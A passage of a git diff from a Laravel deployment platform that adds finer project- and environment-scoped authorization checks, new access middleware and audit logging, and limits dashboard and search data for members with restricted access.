$this->authorize('deploy', $deploymentApplication); + } // Check if deployment can be cancelled (must be queued or in_progress) $cancellableStatuses = [ diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 0a86606518..a03e1da78d 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -398,8 +398,6 @@ class ServicesController extends Controller return invalidTokenResponse(); } - $this->authorize('create', Service::class); - if ($request->boolean('instant_deploy')) { abort_unless($request->user()->tokenCan('deploy') || $request->user()->tokenCan('root'), 403, 'Missing required permissions: deploy'); } @@ -482,6 +480,7 @@ class ServicesController extends Controller if (! $environment) { return response()->json(['message' => 'Environment not found.'], 404); } + $this->authorize('create', [Service::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -691,6 +690,7 @@ class ServicesController extends Controller if (! $environment) { return response()->json(['message' => 'Environment not found.'], 404); } + $this->authorize('create', [Service::class, $environment]); $server = Server::whereTeamId($teamId)->whereUuid($serverUuid)->first(); if (! $server) { return response()->json(['message' => 'Server not found.'], 404); @@ -3308,6 +3308,7 @@ class ServicesController extends Controller } $this->authorize('update', $service); + $this->authorize('create', [Service::class, $service->environment]); $destination = StandaloneDocker::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->destination_uuid)->first() ?? SwarmDocker::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->destination_uuid)->first(); diff --git a/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php b/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php index 32145f4ec3..d87750e335 100644 --- a/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php +++ b/app/Http/Controllers/Api/SharedEnvironmentVariablesController.php @@ -165,7 +165,9 @@ class SharedEnvironmentVariablesController extends Controller return $validated; } - $this->authorize('create', SharedEnvironmentVariable::class); + if (in_array($type, ['team', 'server'], true)) { + $this->authorize('create', SharedEnvironmentVariable::class); + } $scope = array_filter([ 'project_id' => $attributes['project_id'] ?? null, @@ -496,7 +498,7 @@ class SharedEnvironmentVariablesController extends Controller return $project; } - $this->authorize('view', $project); + $this->authorize('update', $project); return $this->createEnv($request, $teamId, 'project', ['project_id' => $project->id]); } @@ -617,7 +619,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('view', $environment); return $this->listEnvs($teamId, 'environment', ['environment_id' => $environment->id]); } @@ -658,7 +660,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('update', $environment); return $this->createEnv($request, $teamId, 'environment', ['environment_id' => $environment->id]); } @@ -699,7 +701,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('view', $environment); return $this->updateEnv( $request, @@ -745,7 +747,7 @@ class SharedEnvironmentVariablesController extends Controller return $environment; } - $this->authorize('view', $project); + $this->authorize('view', $environment); return $this->deleteEnv( $teamId, diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index 48710f88fe..26cbf3ac45 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -15,6 +15,7 @@ use App\Http\Middleware\DecideWhatToDoWithUser; use App\Http\Middleware\EncryptCookies; use App\Http\Middleware\EnsureMcpEnabled; use App\Http\Middleware\EnsureTeamMcpEnabled; +use App\Http\Middleware\EnsureTeamWideAccess; use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; use App\Http\Middleware\KeepConcurrentTeamSwitch; use App\Http\Middleware\PreventRequestsDuringMaintenance; @@ -116,6 +117,7 @@ class Kernel extends HttpKernel 'can.create.resources' => CanCreateResources::class, 'can.update.resource' => CanUpdateResource::class, 'can.access.terminal' => CanAccessTerminal::class, + 'access.team-wide' => EnsureTeamWideAccess::class, 'mcp.enabled' => EnsureMcpEnabled::class, 'api.ip.allowed' => ApiIpAllowed::class, 'mcp.team.enabled' => EnsureTeamMcpEnabled::class, diff --git a/app/Http/Middleware/ApiAbility.php b/app/Http/Middleware/ApiAbility.php index 8951ad50de..3a48bc6b1d 100644 --- a/app/Http/Middleware/ApiAbility.php +++ b/app/Http/Middleware/ApiAbility.php @@ -2,40 +2,49 @@ namespace App\Http\Middleware; +use App\Services\Access\AccessResolver; use Illuminate\Auth\AuthenticationException; use Laravel\Sanctum\Http\Middleware\CheckForAnyAbility; class ApiAbility extends CheckForAnyAbility { /** - * Permissions that only admins/owners may use. + * First path segment after /api/v1/ of the routes that work on projects and their resources. + * A token or member limited to some projects, environments, or resources can use only these. + * Everything else (servers, keys, git sources, S3, cloud providers, team, notifications, settings, ...) is team-level. */ - private const MEMBER_DISALLOWED_ABILITIES = [ - 'root', - 'write', - 'write:sensitive', + public const SCOPED_ACCESS_ROUTES = [ + 'applications', + 'services', + 'databases', + 'projects', 'deploy', - 'read:sensitive', + 'deployments', + 'resources', + 'version', ]; + public const SCOPED_ACCESS_DENIED_MESSAGE = 'This API token is limited to selected projects, environments, or resources, so it cannot use this endpoint.'; + public function handle($request, $next, ...$abilities) { try { - $token = $request->user()->currentAccessToken(); - $teamId = data_get($token, 'team_id'); + $user = $request->user(); + $teamId = data_get($user?->currentAccessToken(), 'team_id'); - if ($teamId !== null && ! $request->user()->isAdminOfTeam((int) $teamId)) { - $tokenAbilities = $token->abilities ?? []; - $disallowed = array_intersect($tokenAbilities, self::MEMBER_DISALLOWED_ABILITIES); + if ($request->is('api/v1/*') + && ! in_array($request->segment(3), self::SCOPED_ACCESS_ROUTES, true) + && $teamId !== null + && ! app(AccessResolver::class)->coversWholeTeam($user, (int) $teamId)) { + auditLog('api.auth.scope_denied', [ + 'token_id' => $user->currentAccessToken()?->id, + 'path' => $request->path(), + ], 'warning'); - if (! empty($disallowed)) { - return response()->json([ - 'message' => 'This API token has permissions ('.implode(', ', $disallowed).') that exceed your current role as a team member. Members are restricted to read-only API access. Please revoke this token and create a new one with only read permissions.', - ], 403); - } + return response()->json(['message' => self::SCOPED_ACCESS_DENIED_MESSAGE], 403); } - if ($request->user()->tokenCan('root')) { + if ($user?->tokenCan('root')) { return $next($request); } diff --git a/app/Http/Middleware/CanCreateResources.php b/app/Http/Middleware/CanCreateResources.php index 874feb3476..7cfa06b629 100644 --- a/app/Http/Middleware/CanCreateResources.php +++ b/app/Http/Middleware/CanCreateResources.php @@ -2,6 +2,7 @@ namespace App\Http\Middleware; +use App\Models\Environment; use Closure; use Illuminate\Http\Request; use Illuminate\Support\Facades\Gate; @@ -16,7 +17,21 @@ class CanCreateResources */ public function handle(Request $request, Closure $next): Response { - if (! Gate::allows('createAnyResource')) { + $environment = null; + if ($request->route('environment_uuid')) { + $environment = Environment::query() + ->where('uuid', $request->route('environment_uuid')) + ->whereRelation('project', fn ($query) => $query + ->where('uuid', $request->route('project_uuid')) + ->where('team_id', currentTeam()?->id)) + ->first(); + if ($environment === null) { + // The page redirects to the dashboard for an environment outside the current team. + return $next($request); + } + } + + if (! Gate::allows('createAnyResource', [$environment])) { abort(403, 'You do not have permission to create resources.'); } diff --git a/app/Http/Middleware/EnsureTeamWideAccess.php b/app/Http/Middleware/EnsureTeamWideAccess.php new file mode 100644 index 0000000000..c41928e4e0 --- /dev/null +++ b/app/Http/Middleware/EnsureTeamWideAccess.php @@ -0,0 +1,30 @@ +user(); + $teamId = $user?->currentTeam()?->id; + + if ($teamId !== null && ! app(AccessResolver::class)->coversWholeTeam($user, $teamId)) { + abort(403, 'Your access in this team is limited to some projects.'); + } + + return $next($request); + } +} diff --git a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php index 83ae05400b..2483fcf35c 100644 --- a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php +++ b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php @@ -2,12 +2,20 @@ namespace App\Http\Middleware; +use App\Enums\AccessLevel; +use App\Models\PersonalAccessToken; +use App\Models\User; +use App\Services\Access\AccessResolver; +use App\Services\Access\Grant; use Closure; use Illuminate\Http\Request; +use Laravel\Sanctum\PersonalAccessToken as SanctumPersonalAccessToken; use Symfony\Component\HttpFoundation\Response; class EnsureTokenBelongsToCurrentTeamMember { + public const EXCEEDS_ACCESS_MESSAGE = 'This API token has more access than you have in this team. Revoke it and create a new token.'; + public function handle(Request $request, Closure $next): Response { $user = $request->user(); @@ -26,15 +34,13 @@ class EnsureTokenBelongsToCurrentTeamMember return response()->json(['message' => 'Invalid token.'], 401); } - $role = $team->pivot?->role; - // Match ApiAbility::MEMBER_DISALLOWED_ABILITIES — members are read-only. - $elevated = $token->can('root') - || $token->can('write') - || $token->can('write:sensitive') - || $token->can('deploy') - || $token->can('read:sensitive'); + if (! self::tokenWithinCreatorAccess($user, $token, (int) $teamId)) { + auditLog('api.auth.token_exceeds_access', [ + 'token_id' => $token->getKey(), + 'team_id' => (int) $teamId, + 'abilities' => $token->abilities ?? [], + ], 'warning'); - if ($elevated && ! in_array($role, ['admin', 'owner'], true)) { // MCP clients expect JSON-RPC envelopes (often only parsed on HTTP 200). // Keep REST API clients on plain 403 JSON. if ($request->is('mcp') || $request->is('mcp/*')) { @@ -43,14 +49,41 @@ class EnsureTokenBelongsToCurrentTeamMember 'id' => $request->input('id'), 'error' => [ 'code' => -32003, - 'message' => 'Missing required team role.', + 'message' => self::EXCEEDS_ACCESS_MESSAGE, ], ]); } - return response()->json(['message' => 'Missing required team role.'], 403); + return response()->json(['message' => self::EXCEEDS_ACCESS_MESSAGE], 403); } return $next($request); } + + /** + * A token can never do more than its owner can do in the token team, also after the owner lost access. + * Owners and admins hold every level. A member must hold every token ability on every token scope. + */ + public static function tokenWithinCreatorAccess(User $user, SanctumPersonalAccessToken $token, int $teamId): bool + { + if ($user->isAdminOfTeam($teamId)) { + return true; + } + + // The deploy canvas token is built in memory from the session user's role, never from user input. + if (! $token->exists) { + return true; + } + + $abilities = array_values($token->abilities ?? []); + $levels = AccessLevel::parseMany($abilities); + // Abilities outside the access levels (write:sensitive, *) are for owners and admins only. + if (count($levels) !== count(array_unique($abilities))) { + return false; + } + + $grants = $token instanceof PersonalAccessToken ? AccessResolver::tokenGrants($token) : null; + + return app(AccessResolver::class)->userHolds($user, $teamId, $grants ?? [Grant::team($levels)]); + } } diff --git a/app/Livewire/Dashboard.php b/app/Livewire/Dashboard.php index aa32fe6770..f04c960345 100644 --- a/app/Livewire/Dashboard.php +++ b/app/Livewire/Dashboard.php @@ -7,7 +7,9 @@ use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server; use App\Models\TeamInvitation; +use App\Services\Access\AccessResolver; use Illuminate\Support\Collection; +use Livewire\Attributes\Locked; use Livewire\Component; class Dashboard extends Component @@ -20,16 +22,24 @@ class Dashboard extends Component public Collection $privateKeys; + /** + * Members limited to some projects do not see team-level sections such as servers. + */ + #[Locked] + public bool $showsTeamSections = true; + public function mount() { - if ($this->prefersCanvasView('dashboard')) { + $this->showsTeamSections = app(AccessResolver::class)->coversWholeTeam(auth()->user(), currentTeam()->id); + + if ($this->showsTeamSections && $this->prefersCanvasView('dashboard')) { $this->redirectRoute('dashboard.canvas', navigate: true); return; } - $this->privateKeys = PrivateKey::ownedByCurrentTeamCached(); - $this->servers = Server::ownedByCurrentTeamCached(); + $this->privateKeys = $this->showsTeamSections ? PrivateKey::ownedByCurrentTeamCached() : collect(); + $this->servers = $this->showsTeamSections ? Server::ownedByCurrentTeamCached() : collect(); $this->projects = Project::ownedByCurrentTeam() ->with(['environments:id,uuid,name,project_id']) ->withCount([ diff --git a/app/Livewire/Dashboard/ActiveDeployments.php b/app/Livewire/Dashboard/ActiveDeployments.php index 29e0c1cd24..91c8c0e38c 100644 --- a/app/Livewire/Dashboard/ActiveDeployments.php +++ b/app/Livewire/Dashboard/ActiveDeployments.php @@ -39,7 +39,8 @@ class ActiveDeployments extends Component $baseQuery = ApplicationDeploymentQueue::query() ->with(['application.environment.project']) - ->whereIn('server_id', $serverIds); + ->whereIn('server_id', $serverIds) + ->visibleToCurrentActor(); $this->activeDeployments = (clone $baseQuery) ->whereIn('status', [ diff --git a/app/Livewire/DeploymentsIndicator.php b/app/Livewire/DeploymentsIndicator.php index 190da1a097..d4dae3f593 100644 --- a/app/Livewire/DeploymentsIndicator.php +++ b/app/Livewire/DeploymentsIndicator.php @@ -34,6 +34,7 @@ class DeploymentsIndicator extends Component return ApplicationDeploymentQueue::with(['application.environment.project']) ->whereIn('status', ['in_progress', 'queued']) ->whereIn('server_id', $servers->pluck('id')) + ->visibleToCurrentActor() ->orderBy('id') ->get([ 'id', diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index 3e9733f063..027db23ec1 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -19,6 +19,7 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; use App\Models\StandaloneSqlite; +use App\Services\Access\AccessResolver; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Cache; use Livewire\Component; @@ -254,390 +255,402 @@ class GlobalSearch extends Component private function loadSearchableItems() { - // Try to get from Redis cache first - $cacheKey = self::getCacheKey(auth()->user()->currentTeam()->id); + $teamWide = $this->actorCoversWholeTeam(); - $resources = Cache::remember($cacheKey, 300, function () { - $items = collect(); - $team = auth()->user()->currentTeam(); - - // Get all applications - $applications = Application::ownedByCurrentTeam() - ->with(['environment.project', 'previews:id,application_id,pull_request_id']) - ->get() - ->map(function ($app) { - // Collect all FQDNs from the application - $fqdns = collect([]); - - // For regular applications - if ($app->fqdn) { - $fqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); - } - - // For docker compose based applications - if ($app->build_pack === 'dockercompose' && $app->docker_compose_domains) { - try { - $composeDomains = json_decode($app->docker_compose_domains, true); - if (is_array($composeDomains)) { - foreach ($composeDomains as $serviceName => $domains) { - if (is_array($domains)) { - $fqdns = $fqdns->merge($domains); - } - } - } - } catch (\Exception $e) { - // Ignore JSON parsing errors - } - } - - $fqdnsString = $fqdns->implode(' '); - - // Add PR search terms if preview is enabled - $prSearchTerms = ''; - if ($app->preview_enabled ?? false) { - $prIds = collect($app->previews ?? []) - ->pluck('pull_request_id') - ->map(fn ($id) => "pr-{$id} pr{$id} {$id}") - ->implode(' '); - $prSearchTerms = $prIds; - } - - return [ - 'id' => $app->id, - 'name' => $app->name, - 'type' => 'application', - 'uuid' => $app->uuid, - 'description' => $app->description, - 'link' => $app->link(), - 'project' => $app->environment->project->name ?? null, - 'environment' => $app->environment->name ?? null, - 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI - 'search_text' => strtolower($app->name.' '.$app->description.' '.$fqdnsString.' '.$app->uuid.' '.$prSearchTerms.' application applications app apps'), - ]; - }); - - // Get all services - $services = Service::ownedByCurrentTeam() - ->with(['environment.project', 'applications', 'databases']) - ->get() - ->map(function ($service) { - // Collect all FQDNs from service applications - $fqdns = collect([]); - foreach ($service->applications as $app) { - if ($app->fqdn) { - $appFqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); - $fqdns = $fqdns->merge($appFqdns); - } - } - $fqdnsString = $fqdns->implode(' '); - - // Collect service component names for container search - $serviceAppNames = collect($service->applications ?? [])->pluck('name')->implode(' '); - $serviceDbNames = collect($service->databases ?? [])->pluck('name')->implode(' '); - - return [ - 'id' => $service->id, - 'name' => $service->name, - 'type' => 'service', - 'uuid' => $service->uuid, - 'description' => $service->description, - 'link' => $service->link(), - 'project' => $service->environment->project->name ?? null, - 'environment' => $service->environment->name ?? null, - 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI - 'search_text' => strtolower($service->name.' '.$service->description.' '.$fqdnsString.' '.$service->uuid.' '.$serviceAppNames.' '.$serviceDbNames.' service services'), - ]; - }); - - // Get all standalone databases - $databases = collect(); - - // PostgreSQL - $databases = $databases->merge( - StandalonePostgresql::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'postgresql', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' postgresql '.$db->description.' database databases db'), - ]; - }) - ); - - // MySQL - $databases = $databases->merge( - StandaloneMysql::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'mysql', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' mysql '.$db->description.' database databases db'), - ]; - }) - ); - - // MariaDB - $databases = $databases->merge( - StandaloneMariadb::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'mariadb', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' mariadb '.$db->description.' database databases db'), - ]; - }) - ); - - // MongoDB - $databases = $databases->merge( - StandaloneMongodb::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'mongodb', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' mongodb '.$db->description.' database databases db'), - ]; - }) - ); - - // Redis - $databases = $databases->merge( - StandaloneRedis::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'redis', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' redis '.$db->description.' database databases db'), - ]; - }) - ); - - // KeyDB - $databases = $databases->merge( - StandaloneKeydb::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'keydb', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' keydb '.$db->description.' database databases db'), - ]; - }) - ); - - // Dragonfly - $databases = $databases->merge( - StandaloneDragonfly::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'dragonfly', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' dragonfly '.$db->description.' database databases db'), - ]; - }) - ); - - // Clickhouse - $databases = $databases->merge( - StandaloneClickhouse::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'clickhouse', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' clickhouse '.$db->description.' database databases db'), - ]; - }) - ); - - // SQLite - $databases = $databases->merge( - StandaloneSqlite::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'sqlite', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' sqlite '.$db->description.' database databases db'), - ]; - }) - ); - - // Get all servers - $servers = Server::ownedByCurrentTeam() - ->get() - ->map(function ($server) { - return [ - 'id' => $server->id, - 'name' => $server->name, - 'type' => 'server', - 'uuid' => $server->uuid, - 'description' => $server->description, - 'link' => $server->url(), - 'project' => null, - 'environment' => null, - 'search_text' => strtolower($server->name.' '.$server->ip.' '.$server->description.' server servers'), - ]; - }); - // Get all projects - $projects = Project::ownedByCurrentTeam() - ->withCount(['environments', 'applications', 'services']) - ->get() - ->map(function ($project) { - $resourceCount = $project->applications_count + $project->services_count; - $resourceSummary = $resourceCount > 0 - ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') - : 'No resources'; - - return [ - 'id' => $project->id, - 'name' => $project->name, - 'type' => 'project', - 'uuid' => $project->uuid, - 'description' => $project->description, - 'link' => $project->navigateTo(), - 'project' => null, - 'environment' => null, - 'resource_count' => $resourceSummary, - 'environment_count' => $project->environments_count, - 'search_text' => strtolower($project->name.' '.$project->description.' project projects'), - ]; - }); - - // Get all environments - $environments = Environment::ownedByCurrentTeam() - ->with('project') - ->withCount(['applications', 'services']) - ->get() - ->map(function ($environment) { - $resourceCount = $environment->applications_count + $environment->services_count; - $resourceSummary = $resourceCount > 0 - ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') - : 'No resources'; - - // Build description with project context - $descriptionParts = []; - if ($environment->project) { - $descriptionParts[] = "Project: {$environment->project->name}"; - } - if ($environment->description) { - $descriptionParts[] = $environment->description; - } - if (empty($descriptionParts)) { - $descriptionParts[] = $resourceSummary; - } - - return [ - 'id' => $environment->id, - 'name' => $environment->name, - 'type' => 'environment', - 'uuid' => $environment->uuid, - 'description' => implode(' • ', $descriptionParts), - 'link' => route('project.resource.index', [ - 'project_uuid' => $environment->project->uuid, - 'environment_uuid' => $environment->uuid, - ]), - 'project' => $environment->project->name ?? null, - 'environment' => null, - 'resource_count' => $resourceSummary, - 'search_text' => strtolower($environment->name.' '.$environment->description.' '.$environment->project->name.' environment'), - ]; - }); - - // Merge all collections - $items = $items->merge($applications) - ->merge($services) - ->merge($databases) - ->merge($servers) - ->merge($projects) - ->merge($environments); - - return $items->toArray(); - }); + // The team cache holds every resource of the team, so members limited to some projects + // never read or write it. Their index is built from the queries the access grants filter. + $resources = $teamWide + ? Cache::remember(self::getCacheKey(auth()->user()->currentTeam()->id), 300, fn () => $this->searchableResources(includeServers: true)) + : $this->searchableResources(includeServers: false); // Navigation depends on the user's permissions, so it is not part of the team-wide cache - $this->allSearchableItems = $this->navigationItems()->merge($resources)->values()->all(); + $this->allSearchableItems = $this->navigationItems($teamWide)->merge($resources)->values()->all(); } - private function navigationItems(): Collection + private function actorCoversWholeTeam(): bool + { + return app(AccessResolver::class)->coversWholeTeam(auth()->user(), auth()->user()->currentTeam()->id); + } + + /** + * @return list> + */ + private function searchableResources(bool $includeServers): array + { + $items = collect(); + + // Get all applications + $applications = Application::ownedByCurrentTeam() + ->with(['environment.project', 'previews:id,application_id,pull_request_id']) + ->get() + ->map(function ($app) { + // Collect all FQDNs from the application + $fqdns = collect([]); + + // For regular applications + if ($app->fqdn) { + $fqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); + } + + // For docker compose based applications + if ($app->build_pack === 'dockercompose' && $app->docker_compose_domains) { + try { + $composeDomains = json_decode($app->docker_compose_domains, true); + if (is_array($composeDomains)) { + foreach ($composeDomains as $serviceName => $domains) { + if (is_array($domains)) { + $fqdns = $fqdns->merge($domains); + } + } + } + } catch (\Exception $e) { + // Ignore JSON parsing errors + } + } + + $fqdnsString = $fqdns->implode(' '); + + // Add PR search terms if preview is enabled + $prSearchTerms = ''; + if ($app->preview_enabled ?? false) { + $prIds = collect($app->previews ?? []) + ->pluck('pull_request_id') + ->map(fn ($id) => "pr-{$id} pr{$id} {$id}") + ->implode(' '); + $prSearchTerms = $prIds; + } + + return [ + 'id' => $app->id, + 'name' => $app->name, + 'type' => 'application', + 'uuid' => $app->uuid, + 'description' => $app->description, + 'link' => $app->link(), + 'project' => $app->environment->project->name ?? null, + 'environment' => $app->environment->name ?? null, + 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI + 'search_text' => strtolower($app->name.' '.$app->description.' '.$fqdnsString.' '.$app->uuid.' '.$prSearchTerms.' application applications app apps'), + ]; + }); + + // Get all services + $services = Service::ownedByCurrentTeam() + ->with(['environment.project', 'applications', 'databases']) + ->get() + ->map(function ($service) { + // Collect all FQDNs from service applications + $fqdns = collect([]); + foreach ($service->applications as $app) { + if ($app->fqdn) { + $appFqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); + $fqdns = $fqdns->merge($appFqdns); + } + } + $fqdnsString = $fqdns->implode(' '); + + // Collect service component names for container search + $serviceAppNames = collect($service->applications ?? [])->pluck('name')->implode(' '); + $serviceDbNames = collect($service->databases ?? [])->pluck('name')->implode(' '); + + return [ + 'id' => $service->id, + 'name' => $service->name, + 'type' => 'service', + 'uuid' => $service->uuid, + 'description' => $service->description, + 'link' => $service->link(), + 'project' => $service->environment->project->name ?? null, + 'environment' => $service->environment->name ?? null, + 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI + 'search_text' => strtolower($service->name.' '.$service->description.' '.$fqdnsString.' '.$service->uuid.' '.$serviceAppNames.' '.$serviceDbNames.' service services'), + ]; + }); + + // Get all standalone databases + $databases = collect(); + + // PostgreSQL + $databases = $databases->merge( + StandalonePostgresql::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'postgresql', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' postgresql '.$db->description.' database databases db'), + ]; + }) + ); + + // MySQL + $databases = $databases->merge( + StandaloneMysql::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'mysql', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' mysql '.$db->description.' database databases db'), + ]; + }) + ); + + // MariaDB + $databases = $databases->merge( + StandaloneMariadb::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'mariadb', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' mariadb '.$db->description.' database databases db'), + ]; + }) + ); + + // MongoDB + $databases = $databases->merge( + StandaloneMongodb::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'mongodb', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' mongodb '.$db->description.' database databases db'), + ]; + }) + ); + + // Redis + $databases = $databases->merge( + StandaloneRedis::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'redis', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' redis '.$db->description.' database databases db'), + ]; + }) + ); + + // KeyDB + $databases = $databases->merge( + StandaloneKeydb::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'keydb', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' keydb '.$db->description.' database databases db'), + ]; + }) + ); + + // Dragonfly + $databases = $databases->merge( + StandaloneDragonfly::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'dragonfly', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' dragonfly '.$db->description.' database databases db'), + ]; + }) + ); + + // Clickhouse + $databases = $databases->merge( + StandaloneClickhouse::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 